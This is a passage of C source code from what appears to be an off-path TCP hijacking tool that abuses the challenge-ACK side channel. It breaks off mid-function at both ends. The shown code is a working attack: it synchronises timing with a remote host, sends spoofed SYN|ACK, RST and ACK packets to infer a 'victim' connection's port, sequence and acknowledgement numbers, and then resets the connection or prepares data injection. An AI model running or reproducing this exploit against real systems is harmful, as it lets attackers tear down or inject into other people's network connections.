0; 755 | 756 | /* if we already reached the time, we need to adjust... */ 757 | gettimeofday(&now, NULL); 758 | timersub(&now, pstart, &diff); 759 | waited = diff.tv_usec + (diff.tv_sec * 1000000); 760 | #ifdef DEBUG_WAIT_UNTIL 761 | printf(" waiting %lu, already waited %lu...\n", wait_time, waited); 762 | #endif 763 | if (waited > wait_time) { 764 | fprintf(stderr, "[!] %s : already reached time! (%lu %lu vs. %lu %lu)\n", 765 | desc, diff.tv_sec, diff.tv_usec, sec, usec); 766 | (void)unblock_traffic(); 767 | exit(1); // EWW 768 | } 769 | 770 | for (;;) { 771 | usleep(250); 772 | gettimeofday(&now, NULL); 773 | timersub(&now, pstart, &diff); 774 | waited = diff.tv_usec + (diff.tv_sec * 1000000); 775 | if (waited >= wait_time) 776 | break; 777 | } 778 | #ifdef DEBUG_WAIT_UNTIL 779 | printf(" %s took %lu %lu\n", desc, diff.tv_sec, diff.tv_usec); 780 | #endif 781 | } 782 | 783 | 784 | /* 785 | * stage 1 - time synchronization 786 | * 787 | * 1. send 200 in-window RSTs spaced evenly 788 | * 2. count the challenge ACKs returned 789 | * 3. adjust accordingly 790 | * 4. confirm 791 | * 792 | * the goal is exactly 100 challenge ACKs received... 793 | */ 794 | int sync_time_with_remote(void) 795 | { 796 | int attempts = 0, round = 0, chack_cnt[4] = { 0 }; 797 | struct timeval round_start, start, now; 798 | struct timeval sync_start; 799 | #ifdef DEBUG_SYNC_SEND_TIME 800 | struct timeval diff; 801 | #endif 802 | 803 | gettimeofday(&sync_start, NULL); 804 | 805 | /* if we don't synchronize within 3 attempts, give up.. */ 806 | while (1) { 807 | gettimeofday(&round_start, NULL); 808 | 809 | /* sanity check to detect really bad situations... */ 810 | if (g_chack_cnt > 0) { 811 | fprintf(stderr, "[!] WTF? already received challenge ACKs??\n"); 812 | return 0; 813 | } 814 | 815 | /* send 200 RSTs, spaced evenly */ 816 | if (!send_packets_delay(&g_rst_pkt, 200, 5000)) 817 | return 0; 818 | 819 | #ifdef DEBUG_SYNC_SEND_TIME 820 | gettimeofday(&now, NULL); 821 | timersub(&now, &round_start, &diff); 822 | printf(" send took %lu %lu\n", diff.tv_sec, diff.tv_usec); 823 | #endif 824 | 825 | /* wait for 2 seconds for challenge ACKs... */ 826 | wait_until("time-sync recv", &round_start, 2, 0); 827 | 828 | /* the delay before next round starts here.. */ 829 | gettimeofday(&start, NULL); 830 | 831 | /* record the number of challenge acks seen */ 832 | chack_cnt[round] = g_chack_cnt; 833 | g_chack_cnt = 0; 834 | 835 | printf("[*] time-sync: round %d - %d challenge ACKs\n", round + 1, 836 | chack_cnt[round]); 837 | 838 | /* did we sync?? */ 839 | if (chack_cnt[round] == 100) { 840 | if (round == 3) { 841 | /* verified! */ 842 | gettimeofday(&now, NULL); 843 | timersub(&now, &sync_start, &start); 844 | printf("[*] Time synchronization complete (after %lu %lu)\n", start.tv_sec, start.tv_usec); 845 | return 1; 846 | } 847 | /* we got lucky! verify... */ 848 | round = 3; 849 | continue; 850 | } 851 | 852 | else if (chack_cnt[round] < 100) { 853 | fprintf(stderr, "[!] invalid number of challenge ACKs! WTF?\n"); 854 | return 0; 855 | } 856 | 857 | /* not sync'd yet, decide how much to delay */ 858 | else if (round < 2) { 859 | /* round 1 -> round 2 : delay by 5ms */ 860 | uint64_t delay = 5000; 861 | 862 | if (round == 1) { 863 | /* round 2 -> round 3 : delay precisely */ 864 | if (chack_cnt[round] >= chack_cnt[0]) { 865 | delay = (300 - chack_cnt[round]) * 5000; 866 | } else { 867 | delay = (chack_cnt[round] - 100) * 5000; 868 | } 869 | } 870 | 871 | /* do the delay! */ 872 | #ifdef DEBUG_SYNC_DELAY 873 | printf(" delaying for %lu us\n", delay); 874 | #endif 875 | wait_until("time-sync delay", &start, 0, delay); 876 | round++; 877 | } else { 878 | /* start over :-/ */ 879 | attempts++; 880 | if (attempts > 2) { 881 | fprintf(stderr, "[!] maximum attempts reached! giving up.\n"); 882 | break; 883 | } 884 | fprintf(stderr, "[!] reached round %d without success, restarting...\n", 885 | round + 1); 886 | round = 0; 887 | } 888 | } 889 | 890 | /* fail! */ 891 | return 0; 892 | } 893 | 894 | 895 | /* 896 | * build a test schedule based on the start and end of a range 897 | */ 898 | chunk_t *build_schedule(u_long start, u_long end, u_long chunk_sz, int *pnchunks) 899 | { 900 | int i, nchunks; 901 | u_long num; 902 | chunk_t *schedule = NULL; 903 | 904 | num = end - start; 905 | if (num <= chunk_sz) { 906 | fprintf(stderr, "[!] build_schedule: invalid range (too small)!\n"); 907 | return NULL; 908 | } 909 | nchunks = (num / chunk_sz) + 1; 910 | 911 | schedule = (chunk_t *)malloc(sizeof(chunk_t) * nchunks); 912 | if (!schedule) { 913 | perror("[!] malloc"); 914 | return NULL; 915 | } 916 | 917 | for (i = 0; i < nchunks; i++) { 918 | schedule[i].start = start + (i * chunk_sz); 919 | schedule[i].end = start + ((i + 1) * chunk_sz); 920 | if (schedule[i].end > end) 921 | schedule[i].end = end; 922 | } 923 | 924 | *pnchunks = nchunks; 925 | return schedule; 926 | } 927 | 928 | 929 | /* 930 | * build a test schedule based on the start and end of a range (reverse order) 931 | */ 932 | chunk_t *build_schedule_reverse(u_long start, u_long end, u_long chunk_sz, int *pnchunks) 933 | { 934 | int i, nchunks; 935 | u_long num; 936 | chunk_t *schedule = NULL; 937 | 938 | num = end - start; 939 | if (num <= chunk_sz) { 940 | fprintf(stderr, "[!] build_schedule_reverse: invalid range (too small)!\n"); 941 | return NULL; 942 | } 943 | nchunks = (num / chunk_sz) + 1; 944 | 945 | schedule = (chunk_t *)malloc(sizeof(chunk_t) * nchunks); 946 | if (!schedule) { 947 | perror("[!] malloc"); 948 | return NULL; 949 | } 950 | 951 | /* fill the schedule starting from the end */ 952 | for (i = 0; i < nchunks; i++) { 953 | if ((u_long)((i + 1) * chunk_sz) > end) 954 | schedule[i].start = start; 955 | else 956 | schedule[i].start = end - ((i + 1) * chunk_sz); 957 | schedule[i].end = end - (i * chunk_sz); 958 | } 959 | 960 | *pnchunks = nchunks; 961 | return schedule; 962 | } 963 | 964 | 965 | /* stage 2 - four tuple inference 966 | * 967 | * send a spoofed SYN|ACK to try to elicit a challenge ACK for the purported 968 | * connection from our victim. 969 | */ 970 | int infer_four_tuple(void) 971 | { 972 | struct timeval infer_start, round_start, now, diff; 973 | volatile conn_t *spoof = &(g_ctx.spoof); 974 | int test_mode = -1; 975 | /* chunk-based search vars */ 976 | chunk_t *sched = NULL; 977 | int nchunks = 0, ci = 0; 978 | /* binary search vars */ 979 | u_long bs_start = 0, bs_end = 0, bs_mid = 0; 980 | volatile uint16_t *pport; 981 | 982 | gettimeofday(&infer_start, NULL); 983 | 984 | if (g_ctx.client_mode) 985 | pport = &(spoof->dst.sin_port); 986 | else 987 | pport = &(spoof->src.sin_port); 988 | 989 | while (1) { 990 | gettimeofday(&round_start, NULL); 991 | 992 | /* sanity check to detect really bad situations... */ 993 | if (g_chack_cnt > 0) { 994 | fprintf(stderr, "[!] WTF? already received challenge ACKs??\n"); 995 | return 0; 996 | } 997 | 998 | /* we have three possibilities: 999 | * 1. we have a port hint -- we just want to test that one (but fall 1000 | * back if it fails) -- test_mode:0 1001 | * 2. we have > PACKETS_PER_SECOND ports to test -- we want to use a 1002 | * schedule -- test_mode:1 1003 | * 3. we have < PACKETS_PER_SECOND ports to test -- we want to use a 1004 | * modified binary search. -- test_mode:2 1005 | */ 1006 | 1007 | /* if we need to initialize the ranges, do so now */ 1008 | if (test_mode == -1) { 1009 | /* if we already have a guess, try it first */ 1010 | if (*pport) { 1011 | /* if it hits, we set these equal to signify a win. 1012 | * 1013 | * we leave guess_mid set to 0 in case we missed.. 1014 | */ 1015 | bs_mid = bs_start = bs_end = ntohs(*pport); 1016 | test_mode = 0; 1017 | } 1018 | /* no initial guess available... */ 1019 | else { 1020 | /* initialize algorithm for port number checking 1021 | * ... "the default range on Linux is only from 32768 to 61000" 1022 | */ 1023 | // XXX: TODO: scale number of guesses per round based on feedback 1024 | sched = build_schedule(32768, 61000, g_ctx.packets_per_second, &nchunks); 1025 | if (!sched) 1026 | return 0; 1027 | 1028 | /* process chunks from 0 to nchunks */ 1029 | test_mode = 1; 1030 | } 1031 | /* test_mode 2 is launched via schedule exhaustion.. */ 1032 | } 1033 | 1034 | /* send spoofed packets in an attempt to elicit challenge ACKs to the 1035 | * victim. depending on how many ports we need to probe, we may use a 1036 | * different approach */ 1037 | if (test_mode == 0) { 1038 | /* just test this single one */ 1039 | if (!tcp_send(g_ctx.pch, spoof, TH_SYN|TH_ACK, NULL, 0)) 1040 | return 0; 1041 | } else if (test_mode == 1) { 1042 | /* process the current chunk */ 1043 | u_long guess; 1044 | 1045 | bs_mid = bs_start = sched[ci].start; 1046 | bs_end = sched[ci].end; 1047 | // XXX: TODO: implement optmization for < 14 ports to probe... 1048 | for (guess = bs_start; guess < bs_end; guess++) { 1049 | *pport = htons(guess); 1050 | if (!tcp_send(g_ctx.pch, spoof, TH_SYN|TH_ACK, NULL, 0)) 1051 | return 0; 1052 | usleep(g_ctx.packet_delay); 1053 | } 1054 | 1055 | /* we'll do maintenance after we check the results */ 1056 | } else if (test_mode == 2) { 1057 | /* advance the binary search process! */ 1058 | u_long guess; 1059 | 1060 | bs_mid = (bs_start + bs_end) / 2; 1061 | // XXX: TODO: implement optmization for < 14 ports to probe... 1062 | for (guess = bs_mid; guess < bs_end; guess++) { 1063 | *pport = htons(guess); 1064 | if (!tcp_send(g_ctx.pch, spoof, TH_SYN|TH_ACK, NULL, 0)) 1065 | return 0; 1066 | usleep(g_ctx.packet_delay); 1067 | } 1068 | } 1069 | 1070 | /* ensure we only send a single value once */ 1071 | *pport = 0; 1072 | 1073 | #ifdef DEBUG_TUPLE_INFER_SPOOF_SEND 1074 | gettimeofday(&now, NULL); 1075 | timersub(&now, &round_start, &diff); 1076 | printf(" sent %lu spoofed SYN|ACK packets in %lu %lu\n", 1077 | bs_end - bs_start, diff.tv_sec, diff.tv_usec); 1078 | #endif 1079 | 1080 | /* send 100 RSTs */ 1081 | if (!send_packets_delay(&g_rst_pkt, 100, 1000)) 1082 | return 0; 1083 | 1084 | /* get the number of challenge ACKs within this second */ 1085 | wait_until("tuple-infer recv", &round_start, 1, 0); 1086 | 1087 | printf("[*] tuple-infer: guessed port is in [%lu - %lu) (start: %lu): %3d challenge ACKs - %s\n", 1088 | bs_mid, bs_end, bs_start, 1089 | g_chack_cnt, g_chack_cnt == 99 ? "OK" : "NO"); 1090 | 1091 | /* adjust the search based on the results and mode */ 1092 | if (g_chack_cnt == 100) { 1093 | g_chack_cnt = 0; 1094 | 1095 | /* if we exhausted the range and still didn't find it, start over */ 1096 | if (test_mode == 0) { 1097 | /* failed! try the bigger search.. */ 1098 | printf("[!] Your hint was incorrect! Falling back to search...\n"); 1099 | test_mode = -1; 1100 | } else if (test_mode == 1) { 1101 | /* advance the chunk */ 1102 | ci++; 1103 | if (ci == nchunks) { 1104 | printf("[!] Exhausted port chunk search...\n"); 1105 | return 0; 1106 | } 1107 | } else if (test_mode == 2) { 1108 | if (bs_start >= bs_end) { 1109 | /* FAIL! */ 1110 | printf("[!] Exhausted port binary search...\n"); 1111 | /* go back to the beginning of the schedule?? */ 1112 | return 0; 1113 | } else { 1114 | /* adjust range */ 1115 | bs_end = bs_mid; 1116 | } 1117 | } 1118 | } else if (g_chack_cnt == 99) { 1119 | g_chack_cnt = 0; 1120 | 1121 | if (test_mode == 0) { 1122 | /* correct! */ 1123 | gettimeofday(&now, NULL); 1124 | timersub(&now, &infer_start, &diff); 1125 | printf("[*] Confirmed client port (from hint): %lu (after %lu %lu)\n", 1126 | bs_start, diff.tv_sec, diff.tv_usec); 1127 | *pport = ntohs(bs_start); 1128 | return 1; 1129 | } else if (test_mode == 1) { 1130 | /* proceed to a binary search of this block */ 1131 | /* if there was only one port tested, it must be it! */ 1132 | if (bs_end - bs_start <= 1) { 1133 | gettimeofday(&now, NULL); 1134 | timersub(&now, &infer_start, &diff); 1135 | printf("[*] Confirmed client port (via chunk): %lu (after %lu %lu)\n", 1136 | bs_start, diff.tv_sec, diff.tv_usec); 1137 | *pport = ntohs(bs_start); 1138 | return 1; 1139 | } 1140 | test_mode = 2; 1141 | } else if (test_mode == 2) { 1142 | if (bs_end - bs_mid == 1) { 1143 | /* we legitimately guessed it via binary search! */ 1144 | gettimeofday(&now, NULL); 1145 | timersub(&now, &infer_start, &diff); 1146 | printf("[*] Guessed client port (via binary search): %lu (after %lu %lu)\n", 1147 | bs_mid, diff.tv_sec, diff.tv_usec); 1148 | *pport = ntohs(bs_start); 1149 | return 1; 1150 | } 1151 | else 1152 | /* adjust range */ 1153 | bs_start = bs_mid; 1154 | } 1155 | } else { 1156 | // XXX: TODO: scale number of guesses per round based on feedback 1157 | fprintf(stderr, "[!] invalid challenge ACK count! retrying range...\n"); 1158 | g_chack_cnt = 0; 1159 | } 1160 | } 1161 | 1162 | /* fail! */ 1163 | return 0; 1164 | } 1165 | 1166 | 1167 | /* 1168 | * stage 3 - sequence number inference 1169 | * 1170 | * try to determine the victim's current sequence number 1171 | * 1172 | * this stage has 3 steps: 1173 | * 1174 | * 1. determine a block of windows containing the sequence number - step:0 1175 | * we do this using an optimized approach breaking the search space 1176 | * into blocks based on the window size. 1177 | * 2. figure out which of the bins precisely the sequence number is in - step:1 1178 | * we use a binary search for this. 1179 | * 3. figure out the exact sequence number - step:2,3 1180 | * we used a hybrid (chunk and binary) search for this step. 1181 | */ 1182 | int infer_sequence_step1(u_long *pstart, u_long *pend) 1183 | { 1184 | struct timeval infer_start, round_start, now, diff; 1185 | volatile conn_t *spoof = &(g_ctx.spoof); 1186 | /* printing status */ 1187 | u_long pr_start, pr_end, pkts_sent; 1188 | /* chunk-based search vars */ 1189 | chunk_t *sched = NULL; 1190 | int nchunks = 0, ci = 0; 1191 | 1192 | gettimeofday(&infer_start, NULL); 1193 | 1194 | /* allocate a schedule for testing sequence blocks 1195 | * NOTE: the values in the schedule are actually block numbers 1196 | */ 1197 | sched = build_schedule(*pstart / g_ctx.winsz, *pend / g_ctx.winsz, 1198 | g_ctx.packets_per_second, &nchunks); 1199 | if (!sched) 1200 | return 0; 1201 | 1202 | /* further stages will launch as things progress */ 1203 | while (1) { 1204 | u_long seq_block; 1205 | gettimeofday(&round_start, NULL); 1206 | 1207 | /* set these for printing status */ 1208 | pr_start = sched[ci].start * g_ctx.winsz; 1209 | pr_end = sched[ci].end * g_ctx.winsz; 1210 | 1211 | /* send em! */ 1212 | pkts_sent = 0; 1213 | // XXX: TODO: implement optmization for < 14 ports to probe... 1214 | for (seq_block = sched[ci].start; seq_block < sched[ci].end; seq_block++) { 1215 | spoof->seq = seq_block * g_ctx.winsz; 1216 | if (!tcp_send(g_ctx.pch, spoof, TH_RST, NULL, 0)) { 1217 | free(sched); 1218 | return 0; 1219 | } 1220 | usleep(g_ctx.packet_delay); 1221 | pkts_sent++; 1222 | } 1223 | /* we'll do maintenance after we check the results */ 1224 | 1225 | #ifdef DEBUG_SEQ_INFER_SPOOF_SEND 1226 | gettimeofday(&now, NULL); 1227 | timersub(&now, &round_start, &diff); 1228 | printf("[*] seq-infer: spoofed %lu RSTs in %lu %lu\n", pkts_sent, 1229 | diff.tv_sec, diff.tv_usec); 1230 | #endif 1231 | 1232 | /* send 100 RSTs */ 1233 | if (!send_packets_delay(&g_rst_pkt, 100, 1000)) { 1234 | free(sched); 1235 | return 0; 1236 | } 1237 | 1238 | /* get the number of challenge ACKs within this second */ 1239 | wait_until("seq-infer recv", &round_start, 1, 0); 1240 | 1241 | printf("[*] seq-infer (1): guessed seqs [%08lx - %08lx): %lu packets, %3d challenge ACKs\n", 1242 | pr_start, pr_end, pkts_sent, g_chack_cnt); 1243 | 1244 | /* adjust the search based on the results and mode */ 1245 | if (g_chack_cnt == 100) { 1246 | ci++; 1247 | if (ci == nchunks) { 1248 | printf("[!] Exhausted seq window search...\n"); 1249 | free(sched); 1250 | return 0; 1251 | } 1252 | } else if (g_chack_cnt < 100) { 1253 | *pstart = pr_start; 1254 | *pend = pr_end + g_ctx.winsz; 1255 | 1256 | gettimeofday(&now, NULL); 1257 | timersub(&now, &infer_start, &diff); 1258 | printf("[*] Narrowed sequence (1) to %lu - %lu, %lu possibilities (after %lu %lu)\n", 1259 | *pstart, *pend, *pend - *pstart, diff.tv_sec, 1260 | diff.tv_usec); 1261 | 1262 | /* adjust winsz if g_chack_cnt < 99 */ 1263 | if (g_chack_cnt < 99) { 1264 | g_ctx.winsz *= 2; 1265 | printf("[*] NOTE: Window size too conservative, doubling to %d...\n", g_ctx.winsz); 1266 | } 1267 | 1268 | /* reset the schedule */ 1269 | g_chack_cnt = 0; 1270 | free(sched); 1271 | return 1; 1272 | } else { 1273 | fprintf(stderr, "[!] invalid challenge ACK count! retrying range...\n"); 1274 | } 1275 | 1276 | g_chack_cnt = 0; 1277 | } 1278 | 1279 | /* should not be reached */ 1280 | free(sched); 1281 | return 0; 1282 | } 1283 | 1284 | int infer_sequence_step2(u_long *pstart, u_long *pend) 1285 | { 1286 | struct timeval infer_start, round_start, now, diff; 1287 | volatile conn_t *spoof = &(g_ctx.spoof); 1288 | /* printing status */ 1289 | u_long pr_start, pr_end, pkts_sent; 1290 | /* binary search vars */ 1291 | u_long bs_start, bs_end, bs_mid = 0; 1292 | u_long seq_block; 1293 | 1294 | gettimeofday(&infer_start, NULL); 1295 | 1296 | bs_start = *pstart / g_ctx.winsz; 1297 | bs_end = *pend / g_ctx.winsz; 1298 | 1299 | while (1) { 1300 | gettimeofday(&round_start, NULL); 1301 | 1302 | /* select a new mid */ 1303 | bs_mid = (bs_start + bs_end) / 2; 1304 | 1305 | /* set these for printing status */ 1306 | pr_start = bs_mid * g_ctx.winsz; 1307 | pr_end = bs_end * g_ctx.winsz; 1308 | 1309 | /* send em! */ 1310 | pkts_sent = 0; 1311 | // XXX: TODO: implement optmization for < 14 ports to probe... 1312 | for (seq_block = bs_mid; seq_block < bs_end; seq_block++) { 1313 | spoof->seq = seq_block * g_ctx.winsz; 1314 | if (!tcp_send(g_ctx.pch, spoof, TH_RST, NULL, 0)) 1315 | return 0; 1316 | usleep(g_ctx.packet_delay); 1317 | pkts_sent++; 1318 | } 1319 | /* we'll do maintenance after we check the results */ 1320 | 1321 | #ifdef DEBUG_SEQ_INFER_SPOOF_SEND 1322 | gettimeofday(&now, NULL); 1323 | timersub(&now, &round_start, &diff); 1324 | printf("[*] seq-infer: spoofed %lu RSTs in %lu %lu\n", pkts_sent, 1325 | diff.tv_sec, diff.tv_usec); 1326 | #endif 1327 | 1328 | /* send 100 RSTs */ 1329 | if (!send_packets_delay(&g_rst_pkt, 100, 1000)) 1330 | return 0; 1331 | 1332 | /* get the number of challenge ACKs within this second */ 1333 | wait_until("seq-infer recv", &round_start, 1, 0); 1334 | 1335 | printf("[*] seq-infer (2): guessed seqs [%08lx - %08lx): %lu packets, %3d challenge ACKs\n", 1336 | pr_start, pr_end, pkts_sent, g_chack_cnt); 1337 | 1338 | /* figure out which chunk exactly! */ 1339 | if (g_chack_cnt == 100) { 1340 | if (bs_start >= bs_end) { 1341 | /* FAIL! */ 1342 | printf("[!] Exhausted seq window binary search...\n"); 1343 | /* go back to the beginning of the schedule?? */ 1344 | return 0; 1345 | } else { 1346 | /* adjust range */ 1347 | bs_end = bs_mid; 1348 | } 1349 | } else if (g_chack_cnt == 99) { 1350 | /* if we only sent one guess this time, we won! */ 1351 | if (pkts_sent == 1) { 1352 | u_long seq_block = bs_mid * g_ctx.winsz; 1353 | 1354 | gettimeofday(&now, NULL); 1355 | timersub(&now, &infer_start, &diff); 1356 | 1357 | /* if we want to inject, we go to stage 3 directly */ 1358 | if (g_ctx.inject_server || g_ctx.inject_client) { 1359 | /* return so the caller will work towards injection */ 1360 | printf("[*] Found in-window sequence number: %lu (after %lu %lu)\n", 1361 | seq_block, diff.tv_sec, diff.tv_usec); 1362 | spoof->seq = seq_block; 1363 | g_chack_cnt = 0; 1364 | return 1; 1365 | } else { 1366 | *pstart = seq_block - (g_ctx.winsz / 2); 1367 | *pend = seq_block + (g_ctx.winsz / 2); 1368 | 1369 | /* return so the caller will work towards resetting the 1370 | * connection */ 1371 | printf("[*] Narrowed sequence (2) to: %lu - %lu, %lu possibilities (after %lu %lu)\n", 1372 | *pstart, *pend, (u_long)g_ctx.winsz * 2, 1373 | diff.tv_sec, diff.tv_usec); 1374 | g_chack_cnt = 0; 1375 | return 1; 1376 | } 1377 | } 1378 | else 1379 | /* adjust range */ 1380 | bs_start = bs_mid; 1381 | } else { 1382 | fprintf(stderr, "[!] invalid challenge ACK count! retrying range...\n"); 1383 | } 1384 | g_chack_cnt = 0; 1385 | } 1386 | 1387 | /* should not be reached */ 1388 | return 0; 1389 | } 1390 | 1391 | int infer_sequence_step3_rst(u_long *pstart, u_long *pend) 1392 | { 1393 | struct timeval infer_start, round_start, now, diff; 1394 | volatile conn_t *spoof = &(g_ctx.spoof); 1395 | /* printing status */ 1396 | u_long pr_start, pr_end, pkts_sent; 1397 | /* chunk-based search vars */ 1398 | chunk_t *sched = NULL; 1399 | int nchunks = 0, ci = 0; 1400 | u_long seq_guess; 1401 | int saw_lt_100 = 0; 1402 | 1403 | gettimeofday(&infer_start, NULL); 1404 | 1405 | /* build a schedule working from right to left */ 1406 | sched = build_schedule_reverse(*pstart, *pend, g_ctx.packets_per_second, 1407 | &nchunks); 1408 | if (!sched) 1409 | return 0; 1410 | 1411 | while (1) { 1412 | gettimeofday(&round_start, NULL); 1413 | 1414 | /* set these for printing status */ 1415 | pr_start = sched[ci].end; 1416 | pr_end = sched[ci].start; 1417 | 1418 | /* send em! */ 1419 | pkts_sent = 0; 1420 | // XXX: TODO: implement optmization for < 14 ports to probe... 1421 | for (seq_guess = pr_start; seq_guess > pr_end; seq_guess--) { 1422 | spoof->seq = seq_guess; 1423 | if (!tcp_send(g_ctx.pch, spoof, TH_RST, NULL, 0)) 1424 | return 0; 1425 | usleep(g_ctx.packet_delay); 1426 | pkts_sent++; 1427 | } 1428 | /* we'll do maintenance after we check the results */ 1429 | 1430 | #ifdef DEBUG_SEQ_INFER_SPOOF_SEND 1431 | gettimeofday(&now, NULL); 1432 | timersub(&now, &round_start, &diff); 1433 | printf("[*] seq-infer: spoofed %lu RSTs in %lu %lu\n", pkts_sent, 1434 | diff.tv_sec, diff.tv_usec); 1435 | #endif 1436 | 1437 | /* send 100 RSTs */ 1438 | if (!send_packets_delay(&g_rst_pkt, 100, 1000)) 1439 | return 0; 1440 | 1441 | /* get the number of challenge ACKs within this second */ 1442 | wait_until("seq-infer recv", &round_start, 1, 0); 1443 | 1444 | printf("[*] seq-infer (3): guessed seqs [%08lx - %08lx): %lu packets, %3d challenge ACKs\n", 1445 | pr_start, pr_end, pkts_sent, g_chack_cnt); 1446 | 1447 | if (g_chack_cnt == 100) { 1448 | /* if we ever saw < 100 before this, then this means we're done. */ 1449 | if (saw_lt_100) { 1450 | gettimeofday(&now, NULL); 1451 | timersub(&now, &infer_start, &diff); 1452 | printf("[*] Finished! Connection should be reset now! (after %lu %lu)\n", 1453 | diff.tv_sec, diff.tv_usec); 1454 | // XXX: TODO: verify that it is reset? 1455 | g_chack_cnt = 0; 1456 | return 1; 1457 | } 1458 | } else if (g_chack_cnt < 100) { 1459 | saw_lt_100 = 1; 1460 | } 1461 | 1462 | /* otherwise, keep trying... */ 1463 | ci++; 1464 | if (ci == nchunks) { 1465 | printf("[!] Exhausted sequence number search without success :-/\n"); 1466 | return 0; 1467 | } 1468 | 1469 | g_chack_cnt = 0; 1470 | } 1471 | 1472 | /* should not be reached */ 1473 | return 0; 1474 | } 1475 | 1476 | int infer_sequence_step3_ack(u_long *pstart, u_long *pend) 1477 | { 1478 | struct timeval infer_start, round_start, now, diff; 1479 | volatile conn_t *spoof = &(g_ctx.spoof); 1480 | /* printing status */ 1481 | u_long pr_start, pr_end, pkts_sent; 1482 | /* chunk-based search vars */ 1483 | chunk_t *sched = NULL; 1484 | int nchunks = 0, ci = 0; 1485 | u_long seq_guess; 1486 | uint32_t old_ack = spoof->ack; 1487 | int step = 0; 1488 | u_long block_sz = g_ctx.packets_per_second; 1489 | 1490 | gettimeofday(&infer_start, NULL); 1491 | 1492 | spoof->ack -= g_ctx.winsz * 10; 1493 | 1494 | /* build a schedule working from left to right */ 1495 | sched = build_schedule(*pstart, *pend, block_sz, &nchunks); 1496 | if (!sched) 1497 | return 0; 1498 | 1499 | while (1) { 1500 | gettimeofday(&round_start, NULL); 1501 | 1502 | /* set these for printing status */ 1503 | pr_start = sched[ci].start; 1504 | pr_end = sched[ci].end; 1505 | 1506 | /* send em! */ 1507 | pkts_sent = 0; 1508 | // XXX: TODO: implement optmization for < 14 ports to probe... 1509 | // XXX: not limited by per-connection limit?! 1510 | for (seq_guess = pr_start; seq_guess < pr_end; seq_guess++) { 1511 | spoof->seq = seq_guess; 1512 | if (!tcp_send(g_ctx.pch, spoof, TH_ACK, "z", 1)) 1513 | return 0; 1514 | usleep(g_ctx.packet_delay); 1515 | pkts_sent++; 1516 | } 1517 | /* we'll do maintenance after we check the results */ 1518 | 1519 | #ifdef DEBUG_SEQ_INFER_SPOOF_SEND 1520 | gettimeofday(&now, NULL); 1521 | timersub(&now, &round_start, &diff); 1522 | printf("[*] seq-infer: spoofed %lu RSTs in %lu %lu\n", pkts_sent, 1523 | diff.tv_sec, diff.tv_usec); 1524 | #endif 1525 | 1526 | /* send 100 RSTs */ 1527 | if (!send_packets_delay(&g_rst_pkt, 100, 1000)) 1528 | return 0; 1529 | 1530 | /* get the number of challenge ACKs within this second */ 1531 | wait_until("seq-infer recv", &round_start, 1, 0); 1532 | 1533 | printf("[*] seq-infer (%da): guessed seqs [%08lx - %08lx): %lu packets, %3d challenge ACKs\n", 1534 | step + 4, pr_start, pr_end, pkts_sent, g_chack_cnt); 1535 | 1536 | if (g_chack_cnt == 100) { 1537 | /* the RCV.NXT is not in this block! keep trying... */ 1538 | ci++; 1539 | if (ci == nchunks) { 1540 | printf("[!] Exhausted sequence number search without success :-/\n"); 1541 | return 0; 1542 | } 1543 | } else if (g_chack_cnt < 100) { 1544 | if (step == 2) { 1545 | /* we found the block containing RCV.NXT! */ 1546 | gettimeofday(&now, NULL); 1547 | timersub(&now, &infer_start, &diff); 1548 | spoof->ack = old_ack; 1549 | spoof->seq += (100 - g_chack_cnt); 1550 | printf("[*] Final sequence: %lu and ack: %lu (after %lu %lu)\n", 1551 | (u_long)spoof->seq, (u_long)spoof->ack, 1552 | diff.tv_sec, diff.tv_usec); 1553 | g_chack_cnt = 0; 1554 | return 1; 1555 | } 1556 | 1557 | printf("[*] Narrowed sequence (%d) to: %lu - %lu, %lu possibilities\n", 1558 | step + 4, pr_start, pr_end, pr_end - pr_start); 1559 | 1560 | *pstart = pr_start; 1561 | *pend = pr_end; 1562 | 1563 | /* build a schedule working from left to right */ 1564 | if (step == 0) 1565 | block_sz /= 4; 1566 | else 1567 | block_sz = 100; 1568 | free(sched); 1569 | sched = build_schedule(*pstart, *pend, block_sz, &nchunks); 1570 | if (!sched) 1571 | return 0; 1572 | ci = 0; 1573 | step++; 1574 | } 1575 | 1576 | g_chack_cnt = 0; 1577 | } 1578 | 1579 | /* should not be reached */ 1580 | return 0; 1581 | } 1582 | 1583 | int infer_sequence_number(void) 1584 | { 1585 | u_long guess_start = 0, guess_end = UINT32_MAX; 1586 | 1587 | if (g_ctx.start_seq) 1588 | guess_start = g_ctx.start_seq; 1589 | if (g_ctx.end_seq) 1590 | guess_end = g_ctx.end_seq; 1591 | 1592 | if (!infer_sequence_step1(&guess_start, &guess_end)) 1593 | return 0; 1594 | 1595 | if (!infer_sequence_step2(&guess_start, &guess_end)) 1596 | return 0; 1597 | 1598 | /* if we want to inject, we need to infer the ack number now. 1599 | * return so the caller will do so... */ 1600 | if (g_ctx.inject_server || g_ctx.inject_client) 1601 | return 1; 1602 | 1603 | if (!infer_sequence_step3_rst(&guess_start, &guess_end)) 1604 | return 0; 1605 | 1606 | /* we must have reset the connection now, right? */ 1607 | return 1; 1608 | } 1609 | 1610 | 1611 | /* 1612 | * stage 4 - ack inference 1613 | * 1614 | * try to determine the ack number used between client/server 1615 | * 1616 | * this stage has 2 steps: 1617 | * 1618 | * 1. identify the challenge ACK window position 1619 | * 2. identify the challenge ACK left boundary 1620 | * 1621 | * the resulting ACK value will be set into g_ctx.spoof.ack 1622 | */ 1623 | int infer_ack_number(void) 1624 | { 1625 | struct timeval infer_start, round_start, now, diff; 1626 | volatile conn_t *spoof = &(g_ctx.spoof); 1627 | int step = 0; 1628 | /* printing status */ 1629 | u_long pr_start, pr_end; 1630 | /* binary search vars */ 1631 | u_long bs_start = 0, bs_end = 0, bs_mid = 0; 1632 | u_long g_acks[4] = { 0, 0x40000000, 0x80000000, 0xc0000000 }; 1633 | int g_chacks[4] = { 0 }; 1634 | int ai = 0; 1635 | int last_chack_cnt = 0; 1636 | int found = 0; 1637 | 1638 | gettimeofday(&infer_start, NULL); 1639 | 1640 | if (g_ctx.start_ack) { 1641 | uint32_t start_ack, end_ack; 1642 | 1643 | /* convert start_ack into something that should be beyond the left side 1644 | * of the challenge ACK window. */ 1645 | start_ack = end_ack = g_ctx.start_ack - (g_acks[2] - 1); 1646 | start_ack -= (g_ctx.winsz * 3); 1647 | bs_start = start_ack; 1648 | if (g_ctx.end_ack) 1649 | end_ack = g_ctx.end_ack - (g_acks[2] - 1); 1650 | end_ack += (g_ctx.winsz * 2); 1651 | bs_end = end_ack; 1652 | step = 1; 1653 | } 1654 | 1655 | while (1) { 1656 | gettimeofday(&round_start, NULL); 1657 | 1658 | /* send packets depending on 